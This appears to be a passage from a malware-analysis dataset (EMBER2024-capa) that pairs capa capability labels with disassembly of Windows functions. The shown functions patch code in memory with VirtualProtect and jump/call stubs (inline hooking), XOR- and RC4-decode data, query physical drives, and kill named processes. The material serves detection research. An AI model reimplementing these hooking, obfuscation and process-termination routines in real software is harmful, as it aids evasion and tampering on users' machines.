joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4067f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [esi], 0
je 0x406837
cmp byte [esi + 1], 0
je 0x40683f
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [esi], 0
push ebx
je 0x406851
cmp byte [esi + 1], 0
je 0x406845
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, eax
sub ebx, dword [esi + 0xc]
mov dword [ebp - 4], ebx
jmp 0x406859
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], ecx
jmp 0x406811
xor eax, eax
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 4]
jmp 0x406859
mov eax, dword [esi + 0x18]
mov dword [ebp - 4], eax
mov ebx, eax
push edi
mov edi, 0xffff
mov dword [ebp - 8], edi
cmp ebx, edi
jae 0x40686b
mov dword [ebp - 8], ebx
mov edi, ebx
push 0x404
call fcn.0040833c
add esp, 4
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x406885
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 4
mov dword [ebp - 0x14], 0
cmp edi, eax
jbe 0x406999
jmp 0x4068a9
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
add eax, 0x400
mov dword [ebp - 0xc], edi
cmp eax, edi
ja 0x4068b8
mov dword [ebp - 0xc], eax
mov eax, ebx
sub eax, dword [ebp - 0xc]
sub ebx, eax
mov dword [ebp - 0x1c], eax
cmp ebx, 0x404
jbe 0x4068cf
mov ebx, 0x404
cmp byte [esi], 0
je 0x4068f4
cmp byte [esi + 1], 0
je 0x406999
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4068f7
mov dword [esi + 0x18], eax
cmp byte [esi], 0
mov edi, ebx
je 0x406920
mov ecx, dword [ebp - 0x10]
mov edx, dword [esi + 4]
push 0
lea eax, [ebp - 0x18]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40691b
mov byte [esi + 8], 1
mov eax, dword [ebp - 0x18]
jmp 0x406949
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x14]
lea edx, [eax + ebx]
cmp edx, ecx
jbe 0x406931
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x10]
mov edx, dword [ebp - 0x10]
push edi
add ecx, eax
push ecx
push edx
call fcn.0040d910
add esp, 0xc
add dword [esi + 0x18], edi
mov eax, edi
xor edx, edx
div ebx
cmp eax, 1
jne 0x406999
lea eax, [ebx - 3]
test eax, eax
jle 0x40698d
lea esp, [esp]
mov ecx, dword [ebp - 0x10]
dec eax
cmp byte [eax + ecx], 0x50
jne 0x40697f
cmp byte [eax + ecx + 1], 0x4b
jne 0x40697f
cmp byte [eax + ecx + 2], 5
jne 0x40697f
cmp byte [eax + ecx + 3], 6
je 0x406985
test eax, eax
jg 0x406960
jmp 0x40698d
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
jne 0x406999
mov edx, dword [ebp - 8]
cmp dword [ebp - 0xc], edx
jb 0x4068a0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00408302
mov eax, dword [ebp - 0x14]
add esp, 4
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4082f3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a024]
jne 0x4082fd
repz ret
jmp fcn.00409962

Function at 0x40ca4a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409e69
and dword [ebp - 0x14], 0
cmp dword [0x41bff8], 0
mov dword [ebp - 0x18], eax
jne 0x40cafd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40cba5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40cba5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41bff8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41bffc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41c000], eax
call edi
push eax
call esi
mov dword [0x41c008], eax
test eax, eax
je 0x40cafd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41c004], eax
mov eax, dword [0x41c004]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40cb56
cmp dword [0x41c008], ecx
je 0x40cb56
push eax
call esi
push dword [0x41c008]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40cb56
test ebx, ebx
je 0x40cb56
call edi
test eax, eax
je 0x40cb4d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40cb4d
test byte [ebp - 8], 1
jne 0x40cb56
or dword [ebp + 0x10], 0x200000
jmp 0x40cb89
mov eax, dword [0x41bffc]
cmp eax, dword [ebp - 0x18]
je 0x40cb89
push eax
call esi
test eax, eax
je 0x40cb89
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40cb89
mov eax, dword [0x41c000]
cmp eax, dword [ebp - 0x18]
je 0x40cb89
push eax
call esi
test eax, eax
je 0x40cb89
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41bff8]
call esi
test eax, eax
je 0x40cba5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40cba7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004082f3
leave
ret
Function at 0x10008f50
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10080b60
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10009820
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10009173
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10009166
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10008dc0
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10008dc0
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10008dc0
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.10008dc0
add esp, 0x20
cmp byte [0x100b9e88], 0
jne 0x10009129
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x100090a2
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10009129
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100b9a87], al
test al, al
jne 0x100090b0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100b9287], al
test al, al
jne 0x100090d0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100b9e87], al
test al, al
jne 0x100090f0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100b9687], al
test al, al
jne 0x10009110
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x1000916c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret
Function at 0x1000a280
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000a301
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x1000a2d0
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 4

Function at 0x1000a320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x1000a367
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x1000a344
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 4

Function at 0x1000a380
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10080c0d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x100b700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x100b8894], 0x10
mov eax, 0x100b8880
cmovae eax, dword [0x100b8880]
cmp byte [eax], 0
je 0x1000a49a
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x1000a49a
cmp dword [0x100b84f0], 0x10
mov eax, 0x100b84dc
cmovae eax, dword [0x100b84dc]
cmp byte [eax], 0
je 0x1000a49a
mov esi, 0x100be4c8
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x1000a3f6
mov edx, 0x100ba498
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x1000a410
mov ecx, dword [0x100bed84]
mov edx, 0x100b8880
cmp dword [0x100b8894], 0x10
push 0x100be4c8
cmovae edx, dword [0x100b8880]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x1000a49a
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x100a5c58]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x1000a46d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x1000a450
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x100c2a34]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x100c2a34]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a4b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10080c3d
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100b700c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000a4f0
sub esi, ecx
push esi
call fcn.100800fd
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x1000a51b
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x1000a510
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1000a551
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000a547
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000a547
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.100800ef
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x1000b630
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x1000b667
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x1000b650
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8

Function at 0x1000b920
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8
Function at 0x1000b970
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100af318
push 0x1007fa58
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100b700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x1000b9e2
mov byte [esi + eax], 0x90
inc eax
jmp 0x1000b9d4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000b9fc
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10017940
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10017997
test eax, eax
je 0x10017997
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10017996
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret

Function at 0x100179b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
cmp edi, 0x1000
jbe 0x100179ed
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret

Function at 0x10017a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x100bff3c]
mov ebx, edx
cmp edi, 0x1000
jbe 0x10017a49
test ebx, ebx
je 0x10017a49
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret
Function at 0x10017a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
cmp eax, 0x1000
jbe 0x10017b08
push ebx
push esi
push edi
push 0xa
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov esi, eax
lea eax, [ebp - 0xc]
mov ebx, esi
push eax
push 0x40
push 0xa
push esi
call edi
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov dword [esi], eax
mov al, byte [ecx + 4]
mov byte [esi + 4], al
add esi, 5
lea eax, [ebp - 8]
sub ecx, esi
push eax
push 0x40
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
mov esi, dword [ebp - 0x10]
push 5
push esi
call edi
mov eax, 0x10019040
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push esi
call edi
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret

Function at 0x10017cb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x10017d0e
test edi, edi
je 0x10017d0e
push esi
push edi
call fcn.100800fd
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8

Function at 0x10017d30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.100800fd
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x10017d9e
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10017d82
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x10017d70
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8
Function at 0x10017dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.100800fd
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x10017e51
test ebx, ebx
je 0x10017e51
test esi, esi
je 0x10017e51
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10017e00
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 8

Function at 0x10017e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b700c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x10017ebe
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret 4
Function at 0x10017ed0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x100b700c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10017f82
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10017f46
test dl, dl
je 0x10017f42
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10017f46
add ecx, 2
add eax, 2
test dl, dl
jne 0x10017f26
xor eax, eax
jmp 0x10017f4b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10017f72
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10017f6e
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10017f20
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret

Function at 0x10017fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100afb30
push 0x1007fa58
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100b700c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001803a
cmp edi, 0x1000
jbe 0x1001803a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001801f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10018010
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001803a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007f7c9
mov esp, ebp
pop ebp
ret